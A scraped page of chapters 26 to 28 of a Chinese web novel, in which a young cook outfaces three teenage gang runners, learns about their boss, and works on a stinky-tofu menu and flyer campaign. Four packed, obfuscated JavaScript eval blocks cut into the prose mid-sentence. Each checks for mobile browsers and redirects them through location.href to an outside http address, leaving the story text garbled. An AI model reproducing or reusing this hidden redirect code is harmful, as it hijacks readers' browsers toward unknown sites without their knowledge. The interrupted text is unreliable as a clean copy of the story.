当然，羸弱这个词他是有误解的，常嘉欣自问一个打几个成年男人不是问题。 “没事，齐叔，这是法治社会，咱们区治安向来好，要是真有流氓，这派出所离我们不算远。” 常嘉欣这边才安慰完，很快就遇到了传说中的“流氓”。 臭豆腐炒饭有了杨姐他们传出来的名气，连带着晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400743|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上生意也好上一些。 这不，臭豆腐炒饭上的第五天，时间都过七点，六张桌还有一半满了，一桌是那个寸头帅哥，常常打包带走，今天倒是在店里吃上了，常嘉欣还额外送他了一盘小卤味，另外两桌就是杨姐和她同行们。 杨姐那一桌是“吃孵坊”，专门在南江车站那蹲点，“扫马路”的，一桌则是“扫马路”的，基本上就在街上逛着接客。 常嘉欣自然不懂这行话名头，她听完由衷赞叹他们的分布揽客方式，在没有大数据支持的时代，行业有自己的规律辅助高效运营，是这个时代的鲜活证明：“那你们这规矩定得好啊，这样倒是均匀分散。” “也不算定的规矩，大伙虽说是同行，想着这钱又赚不完，就约好试了试，后面发现这样揽客效果好，也就成了习惯。”杨锣笑道，“现在么，已经变成大伙喜好，我么平日里懒得动，就蹲点，对面那桌，最是闲不住，可喜欢溜街了。” 上完所有菜，常嘉欣所幸就站他们边上，和常薇薇两个一起听这群人唠嗑。 还别说，话题还挺新鲜。 改革开放到现在，娱乐门店自然有不少，录像厅溜冰场已经不算时尚了，这会“扫马路”的他们正在商量晚上去隔壁主城区街道那边拦生意，说是新开一家南山歌舞厅，那老板娘曾经还演过电影，是个大明星。 这个时代的电影大明星啊，于后世一般，相当吸引人。 追星也很方便，虽说没有新媒体，但是电影电视剧相关的杂志报纸几乎每个月都会更新，而且种类繁多，光常嘉欣在报刊厅那就能看到什么九州电影、秦州画报不下十多种，甚至有些画报里面还有各种大众电影、电视剧的演员投票支持路径和点评投稿，花样不比后世选秀少。 虽然常嘉欣还没去看过电影，但是通过这些杂志画报，了解过各州满座的电影比比皆是，题材也很丰富，不过主旋律电影是大头，商业电影常常被人诟病，但偏偏商业电影的明星外表最为靓丽，她们是报纸杂志版面封面，也常常引领时尚潮流。 比如去年一部很火的纺织厂女工的故事片，里面的红裙子女主周子眉就听说是她们越州人。 这会刚聊得兴起，三个年龄不大的混子手里拎着木棍走了进来。 26.第26章 三人看起来年岁都不大，带头的一身黄衬衫配白色大裤衩，他的五官相当清秀，就算摆出凶狠的模样，也很难忽视他脸上和嘴角的红印和淤青。 当然，最引人瞩目的还是他左手缠着渗血的纱布。 这领头人，看似街溜子实则打扮多巴胺啊。 常嘉欣用手拦住常薇薇上前的步伐，笑着靠近：“要吃点什么？晚上食材不多，还有招牌臭豆腐炒饭。” 虽说伸手不打笑脸人，然而带头的这位多巴胺可不忌讳，直接开始找茬：“这都没啥点的还好意思开店？还臭豆腐，这玩意狗都不吃 ！” 常嘉欣保持微笑：“我小本生意，您这要不要试试？” “哦，我就想吃这个鱼头怎么说？”多巴胺打量完这身形薄弱的姑娘，又看到黑板上的价格，“这他妈是黑店啊，一个鱼头5块钱！？” 似乎是感觉到自己不够有气势，他还用脚踢了踢靠近门口的椅子。 常嘉欣心想，这真有搞事啊。 她是直接上手好，还是先用力量震慑一番？ 上手还是算了，客人都在，要以和为贵。 就在常嘉欣打量完四周，最终瞄准他手里那木棍的时候，杨锣端着一盘鸡杂过来，“行啊，吃你杨姐的如何？” 杨锣他不认识，但是他小弟认识啊，在他旁边小声蛐蛐：“这好像是车站那边的大姐大，哥，我们好像碰到硬茬子了？” “硬茬子个□□，她车站那边罩我们这片地儿？”多巴胺理不直但气壮，用加大音量证明自己的底气，“你别多管闲事。我这人混得很，看到没，这手还是昨天和人街头追砍伤到的。” 说这抬起自己的渗血的左手，同时开始用手里的木棍敲击桌边。 “唰唰唰。” 两桌大汉都刷刷刷站起来了。 也是巧，多巴胺找事也是挑了上好时候，他也是这才注意到店里的客人，清一色的大汉。 都不等杨锣再说什么，这三人就非常机智得往后退出门口，但嘴里不示弱：“别得意，老子倒是看看你这店能开多久！” 虽说对方人走离开，但是杨锣愁上了：“这群小瘪三惦念上你这？” 常嘉欣摆好门口的桌椅，正准备回答，听到这群人竟然没离开，在隔壁闹呢。 常嘉欣无奈：“没事，你们吃好和好。” 说完，她大步走向隔壁。 * 等再回来，常嘉欣左边把手架着多巴胺肩膀，右边则是他那个见多识广的小弟，至于还有一位小黑皮，默默拿着三个已经断截的木棍。 “来，坐，尝尝我们店里的炒饭。” 安抚好常薇薇，常嘉欣把几人安排在门口那桌，便回到厨房。 为了保证炒饭的品质，她一锅最多也就炒三碗，开火，热炒，颠勺，很快出锅。 出来的时候，就看到常薇薇严正以待的模样，笑着让她放松，都是一群小孩子。 端着木盘把三碗炒饭端在他们面前，常嘉欣也不含糊：“尝尝我手艺。” 三人在威慑之下老老实实吃上一口，然后发现就停不下来。 再抬头，常嘉欣还笑着坐他们旁边：“吃饱了不？还要来一碗么？” “不，不用了，姐别笑，我慌。”多巴胺有点虚，刚刚这位姑娘笑着进来，轻轻一凹，就把他们手里的木管拗断，他是真慌，他可怕疼了。 “都叫什么，多大了？” 带头的多巴胺名叫金书，今年18岁，认识杨姐的叫大名，是的，就是没有大名的大名，今年才16，最黑最瘦小的是黑子还在变声期，才14岁...... 可怜也是真可怜，除了金书，他这两个小弟都是吃百家饭长大。 可恶也是可恶，这三小崽子一天到晚跟着帮派混，是非不分。 “说说吧，谁叫你们来闹事的？给钱了不？”常嘉欣继续笑，继续盯着这三人。 “我们这行讲究得是江湖规矩......”金书眼珠乱转，明显不肯说实话，但嘴巴还在吧唧着，似乎对炒饭有些回味。 “给的，2块钱呢，那个是......”大名就不忌讳，虽然说的时候还瞄着他老大，只是再说下去，已经被金书掐上脖子。 “我这三碗臭豆腐炒饭1块8，买个消息不过分吧？”常嘉欣说完，把桌旁边放着的棍子拿到手里，捏上一捏，这木头棍手把上又压出了凹槽的手指印，“你们可能不太清楚，我常姐也算是混过的，手里捏过的玩意没有上千也有上百，既然将江湖规矩，那你们今天就是手被捏碎想必也没人能帮你们。” 这出门在外，身份是自己给的，反正她捏过的鱼丸确实不少，常嘉欣继续笑着，纯捏着木头不够得劲，她单手握住多巴胺右手手腕。 骨头很硬，但金书感觉他的手要断了！ “错了，真错了......姐，常姐，我们因为飙哥来的，要我们捣乱捣乱，我这真没想做其他，就吓一下。”金书这还是他第二次干活，没成想直接遇到硬茬子。 常嘉欣眉心轻蹙，没想到上面还有一层：“行，说下你们飙哥的信息吧。” “我们要讲江湖道.......义。” 不容他拒绝，常嘉欣起身按住他肩膀，给金书的斜方肌松软松软后，总算拿到了信息，也是巧合，这人今晚就准备去南山街道附近说是要看看场子。 “飙哥全名赵大风，他是青龙帮的帮主，我们也是上月加入，其他的真不知道！”金书整个脖子都缩起试图抵挡肩膀上的“按摩”，太特么酸痛了。 大名随后跟上，那叫一个干脆：“今晚南山歌舞厅开业，飙哥小弟们都说要去看姑娘！顺便看看能不能收保护费。” 黑子舔舔嘴后：“能不能再给我一碗炒饭，我知道飙哥家在哪里！” 大名一个激灵，非常识时务：“我也要！我也知道在哪里！” “青龙帮啊，倒是听过。”杨锣在边上关注着。 “我知道一些，帮主没听过，不过他们以这帮派名义尝尝吓人收钱。” “我也被他们找过，不过他们欺软怕硬，我都以为要干一架他们怂了。” 杨锣旁边的朋友认识的三教九流更多，说上了一些信息，原来这个青龙帮其实也成立不久，其实就是一群无业游民聚在一起赚保护费。 “那派出所没管过？” “那帮瘪三滑溜的很，和派出所他们打游击战呢，平日里东选一个西选一个地，就要点钱，这都是没办法人赃并获的事情，而且还经常几个区游走，又没出过大事，几个区的派出所估计也不知道怎么抓。” 听他们闲聊，常嘉欣抓到了两个重点，这帮派没有无恶不作的底子，危险性不算大，其次，这老大应当只是要钱，但给钱能否长久解决问题还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407046|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好说，关键还是确定找她们麻烦的起头人。 常嘉欣继续打量这三个小孩，不管这飙哥是受人所依还是有过什么恩怨，总要见一面，需要探探底：“可是我只有一份臭豆腐了呢，要不这样，你们谁说飙哥更多的信息，我给谁吧。” 大名果断抢先：“我知道飙哥离婚，有个女儿，跟他老婆带走了！飙哥每次都穿得西装拔挺去见呢，那地方虽然我现在不知道，但肯定能打听到。” 黑子急了：“那我还知道他女儿在哪个学校呢！” “这信息很关键。”常嘉欣继续听着，“听意思你们才加入不久怎么会知道那么多？”” 大名很有江湖经验，说起话来满是逻辑：“我们跟着混总要知道老大品性吧，自然会多打听，这老大有情义我们更好活呀！” 黑子插话道：“我知道学校就是因为听人说起老大不让我们帮派的人去那边混，还不许别人去打扰。” “那这样感觉你们两个都差不多，一个知道家里地址一个知道女儿学校呢，还有吗？没有我就觉得......”常嘉欣装作为难。 “我还知道夏哥脸是被他爸爸揍的！他手就是小伤那都是颜料！” “这谁不知道啊，夏哥靠这手吓走过一家店的。” 一碗炒饭兄弟三人的感情倒是有点分崩离析。 “你们！”虽然炒饭很好吃很好吃，金书原先是不准备参与的，他不像这两人缺一碗炒饭，可这两小子那么不给面子，他绝不能输，“我不仅知道飙哥他家和他前妻家，我还知道飙歌最听他妈的话，他妈住下乡的地方我知道！” 这三个小鬼头把人家帮主隐私都挖了个底朝天。 常嘉欣好笑着想，小人物都有自己的活法，现在看来这哪是活法，这关键都是保命要诀。 哦，也不对，她又不要这三人的命，是要“饭”。 “不错，你们都很有诚意，这我也不能随便忽悠，今天食材真没什么，而且你们已经吃上一顿，这多吃容易积食，明天晚上你们过来啊，姐请你们吃大餐。” 常嘉欣拍板送走他们，差不多吃完的杨锣朋友们也热心，问她要不要帮忙，不过都被她拒绝了，这是店里的事情，没必要麻烦他们，而且若那人真是混的，那就是牛皮癣，沾着都晦气。 原本杨锣也想说什么，但她还顺势捏了捏门口桌上断了的木棍，最后只留下一句需要人再招呼。 送走最后一个客人，常嘉欣回到厨房开始准备她和薇薇的晚饭。 刚刚说没什么食材也不算真骗他们，今天炒饭生意红火连带着点菜的人也多起来，到晚上店里的食材都已经耗尽，原本最后的一盘卤猪头肉她也送给了那老客人，只留下卤水。 臭豆腐只剩2份，刚好够她们两个吃，这炒饭确实好吃，天天吃她们还没腻味呢。 话说回来，臭豆腐炒饭热卖，未来估计每天都可以消耗三板，这周日休息可以去找孙勇他们订下周的送货计划，还有因为炒饭生意上来，让鱼丸汤有些跟不上，她要和李叔约一下下周的鱼货，到时候还要去找其他市场逛逛，找一下新的食材供应，看除了鱼丸之外还有什么可以做什么，还有新的酱要准备起来...... 这周日说是休息日，可常嘉欣估计会很忙，但她还是打定主意要抽时间会一会这个飙叔，却没想到她人还没见到，就听到这个飙叔被关进派出所的消息。 27.第27章 “这消息准吗？”常嘉欣隔天晚上从杨锣姐这听到时还有点懵。 “能不准么，我们一帮人在现场啊，昨天晚上迪斯科开业没多久，现场就有警察来抓人。今天听说还在抓，这帮应该要散了，那三个小伙有可能今天也进派出所了。不过他们这群小喽喽应该出来的快，但是那个帮主寻衅滋事估计要关个几年。”杨锣笑着阐述，昨天还在愁的事今天就消了，心情自然好，“那个歌舞厅开业有警察都不影响继续做生意，想来是这飙哥遇到硬茬子，在太岁头上动土了。” 杨锣旁边的罗大力应和：“以后咱们晚上想赚钱都可以去那跑跑，过段时间估计都会知道这新开的歌舞厅后台有人，安全又好玩，生意会更红火呢。” “我反正肯定要去跑的，我已经想好了，每天晚上过来吃个炒饭，然后再跑单去！干到一二点，赚大钱！”另一个人已经开始念叨。 好吃的饭店没了危机，又有新的业务线可以接，今天来的四个哥姐们话题也就更自在。 “我也有这个想法，哎呦，昨天吃完那卤猪尾巴就念念不忘。今天就算了，天天点菜太奢侈，等下周我们再约。” “行，不过那我喜欢杂鱼，那鱼真入味。” “鸡杂才好吃啊。” “哎呀，都好吃，可惜晚上要干活，等哪天还是得空带个小酒来。” “嘿嘿，你们昨天看到那个迪斯科老板娘了吗！就是那个大明星！” “你别说，我不仅看到了，凌晨快4点，还送人家呢。” “我去，好看吗？” 常嘉欣没参与他们的话题，反身进厨房。 他们带来那么关键的信息，她也得表示表示。 看着厨房准备好的大餐食材，虽说那三个小伙子怎么样还不知道，她还是要留一些，不过嘛，挪出一点来没事。 想到他们吃的是臭豆腐炒饭，香味和鲜味其实都霸道，做其他菜未必合适，不如就给他们来一场臭豆腐盛宴！ 尖椒臭豆腐做起来快的，她先要做另一样。 切出一块臭豆腐，两面煎至金黄，捞起备用后，这才拿出她早上洗了许久的肥肠。 她准备做个臭豆腐肥肠锅，也算是另一种双臭。 说来，这周她还要去隔壁市找一找有没有卖霉苋菜梗的，或者问问孙勇他们做不做......一闪而过想起周日计划中遗漏的项目，常嘉欣默默补上布丁，同时开始起锅。 姜片、蒜头与干红辣椒、青椒、辣椒酱一同直接在油锅里爆香，放入切成段的肥肠，锅内滋滋声与肥肠独有的霹雳小爆破声响个不停，这应该就是做饭专属的白噪音，常嘉欣感觉特别解压。 多次翻炒扁压之后，肥肠卷曲，等呈现出小焦黄的感觉，就把这些肥肠捞出。 接下来就是属于卤汁入味的步骤，煎好的臭豆腐，肥肠铺入用洋葱垫底的砂锅中，常嘉欣直接将香卤猪尾巴的卤水倒入其中，这样就不需要多余的调味料，等到烧开再小收汁，便完成了。 臭豆腐肥肠煲她吃过却没看过相关教程，但不妨碍她这种能偷懒的方式将这道菜发光发热。 这香卤的汁水，沾鞋底都好吃，她就不信这道菜能难吃！ 自信归自信，出锅前，常嘉欣还是尝上一口，要是味道不行就留着她们自己吃。 肥肠因为煸炒过才炖煮，所以它口感软而不烂，当辣味渗透内里，又伴着卤汁，嚼起来可香了。 很不错。 不过下次可以再挑战挑战，还是要用先卤好的肥肠，会更入味，还有卤汁可以再调整下辣度，刚开始煸炒的辣很难深入肥肠中的油脂，要是卤入味，这样，那滋味肯定会更完美。 自我肯定一番，常嘉欣又夹上另一臭，臭豆腐的鲜香与卤汁就结合完美，臭豆腐再发酵变化模样，它本质也算是豆腐，可与万物相融，当然好入味。 这第一次做卤双臭，常嘉欣觉得至少有S，拿来招待人不会差。 担心他们拒绝这赠送的小菜们，常嘉欣把炒饭做好一同上，薇薇姐帮忙端炒饭，她则带着砂锅上桌。 “来，哥姐们帮我尝尝正在练的新菜，点评点评。” “这怎么好意思。”杨锣是真心想推脱，她们都没帮什么忙。 “我这是提前贿赂你们，等下周，有个事想请你们帮忙，这要是不接我都不好意思开口。”常嘉欣不容拒绝，“真时在练习的菜，味道都一般，你别不是嫌弃？” “就老板你这手艺，什么都不给我都乐意帮忙。” “就是就是！” 话都说这份上，自然也不好拒绝。 见状，罗大力爽快应下，还特别上道：“跟着杨姐我们果然有口服，那我们就不客气了。” “都别客气，仔细瞧瞧这菜，练习这事真不是我随便说说的，确实是刚开始琢磨的新菜。”常嘉欣招呼着。 “是......臭豆腐和肥肠？” “辣椒炒臭豆腐？” “这浓郁的香味，绝了！” 貌似还真是一桌的臭豆腐，也确实不像是客气的，杨锣莫名舒了一口气，也没忍耐住，径直起筷。 肥肠她曾经的旧爱，臭豆腐是她的新宠，这菜也太合乎她心意了。 一口下去，这卤汁做到了入味，她感觉自己咬开时都有点像那灌满肉汁的薄皮汤包，继续嚼，软中还带着韧劲，这是肥肠特有的口感，混合着唇齿间的卤汁，鲜，辣，还有收尾的醇厚，每嚼一下都能品出它的滋味，至于她一直觉得很难清洗的腥味，那是一点也没有。 杨锣觉得，这菜要是属于味道一般，那她在家吃过的肥肠应该都算被糟蹋了。 “不是，等等！你们这一口一个肥肠有什么滋味！嚼起来才好吃。”杨锣也是没想到，她也就吃上一口，这锅上方的筷子动起来堪比剑法，都不带停歇，“！别抢！臭豆腐炒饭也好吃啊！” “炒饭那是每人都有，别以为我不懂你的小心思。” 罗大力附和：“就是就是，我牙口好，嚼得快，真好吃，根本停不下来！” 杨锣无奈，转而扫向另一盘辣尖椒臭豆腐，辣啊，每到冬天她才比较喜欢吃辣，这样在外面跑单子身子都感觉暖和，但是这春夏...... 等到她吃上第一口就感觉到辣意，这种感觉与臭豆腐独有的鲜美一搅和，这辣得爽快啊，好有滋味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415468|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和臭豆腐炒饭完全是两种感觉。 对了，她还没吃肥肠煲里的臭豆腐。 她在各种筷子中夹住煎过的臭豆腐，入口，表皮有一股脆意，内里嫩香，同样包含卤汁，又是臭豆腐的另一种风味。 杨锣也是努力忍住和他们抢菜的心，竖起大拇指朝着边上常嘉欣，毫不吝啬地夸奖手艺：“三种臭豆腐，各有千秋，我感觉以后就这三样轮着吃，一年不带厌！” “对的对的！好吃！肥肠也好吃！” “呜呜呜呜，口口过瘾，根本吃不过” 大家也是捧场，有人嘴里还撅着，双腮鼓鼓的，只能用大拇指表示肯定。 常嘉欣看他们吃得开心，自然不忘打广告：“看来还不错？那等我以后多练练，到时候出个臭豆腐全家福套餐，等你们来点。” “行啊！那感情好！” “必须来点！” “你别抢！你刚刚肥肠吃那么多，这臭豆腐归我！” ...... 杨锣他们消息中关于金书三人被带进派出所或许是真得，送走他们后，常嘉欣和常微微等到快21点，依旧没有他们的信息，两人只好草草吃了碗炒饭便收拾回家。 今天回去路上，没了那传说中的飙哥，常薇薇心情就很好，走路的时候特意惬意得踩着她的影子，蹦蹦跳跳，还对传说中的臭豆腐全家福很好奇：“可惜没吃到那臭豆腐肥肠煲，后面还有什么啊？我想不出还能做什么凑出这个全家福，真做啊？” “是有这个想法，臭豆腐味道霸道，点了这个炒饭再点其他菜终究有影响。”常嘉欣笑道，“这豆腐可以放在哪做菜，它臭豆腐大概率就可以，不过其实我没想好怎么搭，要不你帮我想想？” 这美食本就百无禁忌，她觉得只要放开心思，臭豆腐可以做出不少花样。 “我想想，豆腐可以烧鱼？臭豆腐烧鱼？” 常嘉欣略做思考：“行啊，臭豆腐烧汪刺鱼，或者鲫鱼、黄鱼也可以，想来非常鲜的。” 常薇薇莫名骄傲，不过很快想到了刚刚那话的反驳点：“小欣，你刚刚话不对，我想起来最家常的豆腐青菜汤，这臭豆腐青菜汤，我实在想象不出那滋味。” 常嘉欣摸摸下巴，考虑到臭豆腐腥味特殊，纯水煮臭豆腐肯定比不上豆腐的清爽，还要考虑到臭豆腐的香味和青菜确实不好搭，不过嘛...... “青菜确实不搭，不过要做清汤可以换种蔬菜，用荠菜、茼蒿或者芹菜，这些带着特殊香味的蔬菜冲撞，肯定能碰出火花。”常嘉欣不是正经厨子出生，还是曾是海量测试为实验基础的化学专业毕业生，那灵感自然繁多，“浓汤就可以考虑大白菜，先炒过再下开水，奶白汤汁配上鲜香可口的臭豆腐，一定很好吃！” 还别说，这样四菜一汤就齐全了。 尖椒臭豆腐，臭豆腐肥肠煲，臭豆腐蒸霉苋菜梗，臭豆腐烧黄鱼/汪刺鱼，再来一个大白菜臭豆腐汤。 有鱼有肉，有蒸有炒也有汤，完美啊。 常嘉欣兴奋地手臂搭上薇薇姐的肩膀：“就这样决定了，明天开始就练臭豆腐全家福，到时候你就是试菜员，保证你吃个够。” 28.第28章 这话也还真不是随便说说，常嘉欣想将臭豆腐知名度打响，想了两个招。 第一个招，这周她准备去找报社了解了复印的成本，打出来了一大叠传单。 传单上家常菜的臭豆腐炒饭那自然是C位，活动便是凭借传单可以在店里享受一小盘卤味或者鱼丸汤多两个，背面则是大牛臭豆腐的寻人启事。 这些传单由踏二哥们发放，这就是杨锣给店里带来流量后让常嘉欣想到的广告方式，通过他们打出臭豆腐炒饭名气，最重要的是发放的人中有不少在车站流动的人。 短时间家常菜和大牛臭豆腐都没办法突破南江或者越州这个区域，但先把南江与臭豆腐炒饭绑定，能让过往的旅客将这个印象关联起来，并传播出去。 都说通过六个人能认识全世界的人，就算是这信息没有未来发达的八十年代，常嘉欣还是默默期待着某天某个好心人将他们这边消息带到牛大娘和小牛身边。 另一个招便是开发臭豆腐新品，搞一个全家福，那样的话臭豆腐炒饭可以走销量，全家福则走高价路线，便可以打开不同人群的名气。 说实话，做这个决定，常嘉欣也是发现有点大跨步的意思，一个厨艺刚进门的新人研发新菜，想来任谁听了都会觉得荒谬。 但别人不知道自己是新人啊。 而她发现自己做臭豆腐相关没事还挺有天赋。 因此，常嘉欣近期给自己定了小目标就是做出一个臭豆腐全家福。 因此，周日店里照常休息一天，可常嘉欣仍旧是跑上跑下忙活，找霉苋菜梗，找复印店，定食材等等。把琐碎的事情做好，回到家都快10点多，几乎是倒头便睡，睡了五六个小时便开始新的一周营业。 这周一，齐大山照常在家常菜开门时刻过来，一来就看到袁红在给门口打扫，连带着隔壁钟表店和面店都一起帮忙：“袁姐，打扫呢。” 袁红面无表情点头示意便继续干活，齐大山习惯了，再进门就看到店里新加了一个黑板，把臭豆腐炒饭和臭豆腐蒸霉苋菜梗放在一个黑板，最末尾还加了一句。 “臭豆腐全家福正在开发中，敬请期待。” “哟，又有新菜呀，蒸霉苋菜梗，这倒是好久没吃了，那今天就臭豆腐炒饭加一个蒸双臭！”齐大山心想五元的鱼头汤天天吃不起，但这1元的新菜尝尝总可以吧？ 想到这，齐大山不禁想起上一周点的鱼头豆腐汤，他又没吃到鱼头，那会连汤都没喝上，只因为女儿为了一批二手机子奔波好几天，一回来刚好遇到他准备吃饭，那辘辘饥肠的模样，他也就不好意思抢。 常嘉欣在窗口看到齐大山，笑着招呼：“叔，肥肠吃不，我正在卤肥肠，给你送点。” 她昨天回来之前就把传单给杨锣她们了，也不确定有没有用，不管怎么说，她都跑了好几个市场买肥肠或者其他合适的卤味。 “啊呀，那怎么好意思。”话是这样说，齐大山头点得很利索。 常嘉欣笑着拿上盘子，从小储物间的黑坛里捞出一些霉苋菜梗。 孙家如今是不吃霉苋菜梗的，她在隔壁市跑了不少地方才找到品质不错的霉苋菜梗，所幸连带黑坛卤水一起买下，到时候等吃完继续用苋菜梗腌制，这样就可以吃到夏末。 唯一的缺点就是现在储物间的气味绝了，她感觉要是有那种金舌头过来，怕是吃蛋炒饭都能感觉到它的气味。 也不对，她店里全是臭豆腐味，也避免不了。 在盘中放好都不需要洗的霉苋菜梗，摆好臭豆腐，等常嘉欣撒上剁椒，浇上一勺特调油。 纯蒸霉苋菜梗会有一股涩味，这勺油里有麻油与香油，能综合涩味，软化纤维的同时激发梗里面肉的鲜味。 将盘子放上蒸笼，常嘉欣又忍不住吐槽自己刚开始起步就想象店里来金舌头…… 蒸双臭需要时间不多，炒好饭，常薇薇就端着木盘去齐大山店里。 也是巧，齐大山才刚唆上一口鲜美的霉苋菜梗，齐海月带着一个客人进了店。 “爸，这个是隔壁益州来的楼先生，他这十台机器到时候要你帮忙一起送到益州。”齐海月兴奋道，毫不客气指挥齐大山出差陪同，“两辆货车，下午就出发。” 齐大山把嘴里的梗里每一分滋味吸干，念念不舍突出残渣后才打了招呼应下。 这真不是他没礼貌第一时间没招呼，是女儿，掐着他吃饭的点！ 也幸好不是鱼头！ 楼韬闻着特殊的浓郁味道，下颚忍不住紧绷，眉头浮起，又架不住好奇：“这抹布味的绿杆子……很好吃？” 齐大山表情过于陶醉，让他有些难以想象究竟是怎么样的滋味。 齐大山连连点头：“这是霉苋菜梗，鲜美还带着一股子辣，很好吃。” “楼先生要尝尝吗？”齐海月对客户总有耐心，“我们这隔壁的家常菜馆，味道好极了，就是馆子不大。” 她原先准备带楼总去东北炒菜馆定个包厢来着。 “这是臭豆腐炒饭，你益州肯定没吃过，特别好吃。”齐大山吃上头的炒饭也要介绍一遍，最后才把一碟卤肥肠推过去，“这个我没吃过，你可以尝尝，味道比大餐馆好很多。” 这年头做生意已经讲究排场，齐大山担心刚刚女儿邀请的过于随意，这才忍痛割爱，他相信但凡尝过家常馆味道的人，都不会抵住这诱惑。 “这不用，打扰你吃午饭依旧不好意思。”楼韬倒是没那么重排场，他对这个臭豆腐和霉苋菜梗还是很感兴趣，只是也不喜欢被糊弄，特意补充，“不如中午试试？其实我这嘴还挺叼。” “那感情好，她们家的番茄鱼头豆腐汤也很好喝，我带你尝尝，保管再挑的嘴也服气。” 齐海月就这样待着楼韬走向隔壁，齐大山默默又嗦上一口梗肉，看着他们离开。 算了，这鱼头下周应该能吃到了，今天这个梗也很好吃！ 再说齐海月她们到的时候，店里六张桌子都坐着人。 常薇薇有些诧异，尤其看道陌生的西装男人，她建议道：“海月姐，估计等下也要拼座，不然你们回店里？我等下让袁姨给你们送过去。” 齐海月摆摆手：“没事，这位是来自益州的楼先生，没什么忌口，我带他尝尝味道，不介意一起拼座。” 知道常薇薇肯定要问，她提前介绍。 “两个臭豆腐炒饭，番茄鱼头豆腐汤，再加一个霉苋菜梗。”齐海月朝着楼韬点头，“其他菜你看看还有想吃的嘛？” “够了够了。” 楼韬随着齐海月和人落座，对面一个客人已经在吃炒饭，另一个也是刚坐下，手里正递给常薇薇家常菜的传单。 常薇薇收下传单笑着招呼：“通知想要一碟卤味还是多些鱼丸汤？这会刚开店不久，可以自己选。” “卤味，这样我两样都尝尝。” “哈哈，看来介绍你过来的师傅讲得很细。”常薇薇表示收到，笑着再手帐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422560|167556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上记下一笔。 惹得齐海月有些好奇：“这传单？” “这是小欣做的宣传方式，说什么这叫广告。”常薇薇见她好奇，把传单递过去便去忙了。 齐海月翻了翻，上面一页写着家常菜招牌臭豆腐炒饭，下面则是凭借传单的福利，另一页则是大牛臭豆腐的寻人启事。 “这方法倒是有趣，和以前卖报一样，这个大牛臭豆腐坊是老板的另一个店？”楼韬也看了，对传单和促销方式表示赞赏。 “那到不是，大牛臭豆腐是隔壁市以前的老店，这家常菜馆的臭豆腐就是买他家的，应该只是帮忙寻人。”齐海月知道大概，她也觉得这个打广告方式不错，或许以后杂货铺可以参考参考。 “老板有头脑也心善。”楼韬这才注意到这个寻人启事，感慨道，“那个时间段走散的人不少。” 就是这小牛名字有些眼熟，不过这名字很大众，楼韬也没多细想，只是记了一眼。 再后来，也就这一眼串起了两个家庭的故事。 当然，这是后话，此时的楼韬不至于特意去记一张传单的内容。 齐海月她们的菜上得很快，常薇薇还特意多端了一碗尖椒臭豆腐。 “小欣听说有益州来的客人，霉苋菜梗做得也偏辣，还有这尖椒臭豆腐是特地做的，尖椒虽然是本地的，但其他辣椒却有不少来自益州，像是灯笼椒、二荆条，辣度或许会很符合益州口味，客人吃完可以评价评价这个菜。” 益州山川连绵，是嗜辣的城市，为此常嘉欣特意用灯笼椒这些来自益州的辣椒炒了一盘。 再做尖椒臭豆腐，这次卖相就好太多，绿辣椒与红辣椒与切成丁的臭豆腐一起炒，一部分碾碎的豆腐也嵌在其中，看着会更有食欲，同时让臭豆腐之间增加口感层次，碾碎的更为入围，切丁的保留鲜味，相得益彰。 “这卖相，不闻味道，光看卖相到是与鸡豆花有几分像，只是多染了绿色。”楼韬看到菜后笑着点评，不过吃一口就觉得这尖椒臭豆腐，原本的几分可以到九分，这口味地道的辣味就是他们益州本地菜，“师傅厉害，辣的爽口，又没遮住臭豆腐的鲜味，好吃。” 很快，他发现不止一个菜好吃！ 炒饭满口鲜香，鱼汤也鲜到眉头，来越州南江大半个月，他总算理解越市那边友人口中越州的鲜，它可以来自山野，也可以从民间手艺沁入，不需要以辣提鲜的，也能蔓延唇齿。 当然，最符合他口味的还是两个辣菜，这是刻在骨子里的喜欢，这两道素菜鲜“香”辣俱全，少了麻，可麻本就更合适荤菜。 